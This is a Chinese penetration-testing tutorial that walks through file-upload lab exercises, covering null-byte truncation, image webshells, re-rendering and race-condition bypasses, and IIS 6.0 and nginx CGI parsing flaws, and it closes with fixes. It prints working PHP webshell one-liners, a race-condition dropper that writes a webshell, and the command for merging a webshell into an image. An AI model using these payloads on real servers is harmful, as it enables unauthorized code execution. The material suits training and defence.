渗透测试基础-文件上传漏洞 (下)
第十一题 %00截断绕过第十二题 %00截断绕过(二)第十三题 图片马绕过第十四题 getimagesize图片类型绕过第十五题 php_exif模块图片类型绕过第十六题 二次渲染第十七题 条件竞争绕过第十八题 IIS6.0 解析漏洞第十九题 IIS6.0解析漏洞(二)第二十题 IIS6.0解析漏洞(三)第二十一题 CGI解析漏洞漏洞总结只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!
上次所说的10个文件上传的靶场,全是以黑名单机制工作的,这次会讲白名单的文件上传点,我们该如何测试。
第十一题 %00截断绕过
这里对文件后缀做出了限制,凡是不是jpg
,png
,gif
的文件后缀,都不允许上传。这里的方法可以是$00截断
绕过。先来了解一下它所实现的过程。
先来说一下这个$00
是干嘛用的,这个其实和编程语言里面的注释,有着差不多的意思
就像这里,对于#号
后面的东西,根本就不输出,因为python
认为#号
后面的不是代码,所以不执行。这里的%00
也是这样的意思
我们还得知道,文件上传是有一个执行过程的:
先会上传到临时的文件目录
➡️在转移到需要文件存放的位置
➡️最后对其文件重命名
这里就会是这样的一个情况:我们上传一个1.jpg
的文件上去,那它最后会被放入/upload_file/
目录下,那这里会这样显示
/upload_file/1.jpg
然后对文件重命名➡️/upload_file/newfile.jpg
但如果我们在数据包里面对其做一些手脚呢,在文件后面加上%00截断
,那会发生什么
/upload_file/
在加上一个1.php%00
➡️/upload_file/1.php%00
➡️/upload_file/1.php%001.jpg
➡️/upload_file/1.php%00newfile.jpg
然后由于被截断了,它最后执行出来就是这样的。
/upload_file/1.php%00newfile.jpg
➡️/upload_file/1.php
我们来实际靶场看一下
这里选择一个jpg
格式的一句话木马,里面的内容就是:<?php eval($_REQUEST['abc']);?>
只是将原本txt
的格式改为了php
而已(后面会介绍一个将图片和一句话木马结合的方式,更为推荐那种方法,毕竟在实际测试中,咱们是不知道人家这里用的是什么方式来实施拦截的)。
点击上传,Burp
抓取上传的数据包
这里的木马文件就得到了执行。(这里要注意的是%00截断
,这个在php5.4
以后的版本就不存在了,所以得小于5.4
才可以)
第十二题 %00截断绕过(二)
根据上传的数据包了解到,这里改变为了POST
的传参方式,如果我们这里还是和刚刚那样,在/upload/
后面加代码的话那是行不通的,因为以GET
的方式传参进去是会经过一次编码的,而POST
的不会。所以我们这里不能直接写`%00
这里可以这样来操作:在/upload/webshell.phpf
,🔚末尾加上一个f
,这个的意思,是方便我们在hex
编码里面改值,f
对应的66
,只需要改为00
即可
这里的操作是,将数据包发给了Burp的编码器模块,在编码器切换为十六进制,然后对其改变。
数据包改完之后,切换为test
模式,复制全部数据包,然后放过去,和上一题那样,删除url后面没有用的参数。这样我们就能通过了这题。
第十三题 图片马绕过
这里就开始检测那些以图片后缀结尾的文件到底是不是图片,我们不能在像刚刚那样,将txt
格式的内容,改了jpg
就为图片了。我们先来看一下
这个是我们前面一直使用的txt
,改变了后缀,就变为”图片“了,用这个测试后,靶场直接拒绝了上传。
所以我们这里先制作一个图片马:先准备两个文件,一个txt
的木马内容文件,和一个较小的图片文件(较小就是图片字节数小一点),然后在Windows
上的cmd
窗口,输入:copy 图片文件/b + 木马文件 结合后的木马图片名
这里的/b
,是让其以2进制的方式去结合,不然图片会坏掉。
这里我们图片马就有了,在直接上传到刚刚的靶场中,上传好了之后,改变文件后缀,就能看到一句话木马的代码。
第十四题 getimagesize图片类型绕过
第十五题 php_exif模块图片类型绕过
因为十四十五和十题差不多,都是用图片马可过,略过。
第十六题 二次渲染
这里就厉害了,它不但不信任我们传的是不是图片,现在就算你传上去一个图片,也会对其图片的文件内容做大换血。也就是说,传刚刚的图片马不行了,里面的一句话木马会全部替换掉。这里得用另外一个图片格式来做测试
找到一个gif
图片,用编辑器以十六进制的方式打开,然后在gif
文件内容的前三行写下一句话木马。二次渲染虽然会对图片文件进行改变,但是由于gif
的图片的前三行过于重要,为图片的 ”骨架“ 所以二次渲染并不会触碰那里。
咱们这里虽然是上传上来了,但是并不能连接webshell
工具,需要结合另外的漏洞才可以。(比如CGI解析漏洞,这个下次文章详细讲)
第十七题 条件竞争绕过
这里还是先将原理。在最上面我们有提到文件上传的顺序,是对文件检测之后,在进行保存的。但是如果换一个方式行不行呢?是可以,但那就会出现逻辑漏洞。
换一个方式就是:
先让文件进来
➡️在对其进行检测
➡️不合格就删除掉
这个看上去也没有什么毛病,但是毛病就出在文件已经进来了,虽然就短短的那几毫秒,也会发生很大的问题。要知道,快速检测并删除,这是计算机能做到的,但是快速上传和访问,计算机也能做到。看到这里可能有人就要奇怪了,就算能上传上去,并能访问到,你能在那短短的几毫秒连接人家服务器,并执行其他操作嘛?说实话,真要遮掩的情况,没人做的到。但是如果我们上传的那个文件,并不是一句话木马文件,而是一访问,就能在创建一个新木马文件的文件呢?
这里就介绍一些这个,能一访问就能创建文件的函数。
file_put_concents(“文件名”,“文件内容”)
那我们就这一这样书写:
<?php file_put_concents(‘webshell.php’,’<?php eval($_REQUEST[666]);?>’)?>
将这个文件保存为file.php
,然后一直疯狂重复上传,另外在开一个burp,一直重复去访问这个文件,当访问到时,就在相同的目录创建了一个webshell.php文件!!!
当然这里有一步得先操作,先上传一个普通的图片,得到其图片保存的位置,然后在去重复访问刚刚那个file.php即可
(这个是我复现过的,绝对不是空谈的,不发截图是因为这个靶场的源码文件找不到了,没法复现截图贴出来。。。)
第十八题 IIS6.0 解析漏洞
IIS6.0
的这个漏洞,其实在严格意义上不算并不算实际存在的漏洞,因为出现这样的问题,是不了解导致的,如果在一开始就将这个设置配置得当的话,也就不会存在这样的漏洞了。接下来详细了解一下是怎样的情况。在IIS6.0
中除了将asp
后缀当作asp
进行解析的同时,当文件后缀名为.asa .cer .cdx
也会被当作asp
解析,这是因为IIS6.0
在应用程序扩展名映射中默认设置了.asp .cer .cdx
都将会调用的asp.dll
的配置文件。
这里还是以png
格式先传上去,然后抓包修改格式为cer
。
然后用蚁剑连接,上去找flag
第十九题 IIS6.0解析漏洞(二)
这题也属于IIS6.0
的中间件专属漏洞,在其他版本上没有的。这里的情况是,当文件名出现(;)
分号或者( / )
斜杠时,IIS
中间件会将分号和斜杠后面的东西不在识别,就比如这个的文件webshell.asp;.jpg
这个文件,对于windows
来说,就是个jpg
文件,但对于IIS6.0
的中间件来说,它就是个webshell.asp
的文件,这样就既符合了白名单,又能被正常解析,就这样造就了此漏洞。
这里都不需要抓包,只需要将一个asp
的图片马文件改为上面的后缀即可。
第二十题 IIS6.0解析漏洞(三)
这个就比较离谱了,如果文件目录的名字为xx.asp
时,那这个目录下的所有文件都会被当作asp来解析,这个可以在当我进入到别人后台时,找不到比较好的上传点,但是可以创建目录名时起到作用。
第二十一题 CGI解析漏洞
这个漏洞涵盖范围挺大的,在nginx
,IIS7.0
,IIS7.5
和Lighttd
等都存在。漏洞是这样的:当访问一个地址:/nf.jpg/1.php
时,他会做两步操作,会先看其末尾是什么,当看到是末尾是php时,他就会将这个东西交给php去执行,然后执行第二步,它会去找末尾这个文件,如果找不到,就会看前面一个目录是啥,如果有,就将前面一个文件按照php来解析执行,那如果前面一个文件是我们的图片马呢,这时就起到了关键性的作用,这个功能如果nginx
里设置了cgi.fix_pathinfo=1
那么这个功能就是开启的(默认开启)。
所以这里还是直接上传图片马jpg
,然后去访问图片连接。
jpg
躲过白名单监测,然后在图片地址后面加上/.php
,就满足了刚刚的条件,它找不到.php
文件在哪,就往前面的图片马拿来当php
解析,这样就完成了一句话木马的工作。
漏洞总结
以上这7题都是白名单的方式,虽然有很多漏洞都是好久以前的了,但是还是有少部分网站或多或少有这样的漏洞。%00截断升级php版本可解决;图片马的防御方法可用二次渲染,只要中间件那边不出问题,这个还是挺好用的;条件竞争主要还是逻辑上的问题,先检测在上传即可修复这个漏洞;最后的几个中间件漏洞,基本都是在指定版本出现的,所以可以的话进行一下升级,然后关掉一些不使用的配置就好。
《最好的防御,是明白其怎么实施的攻击》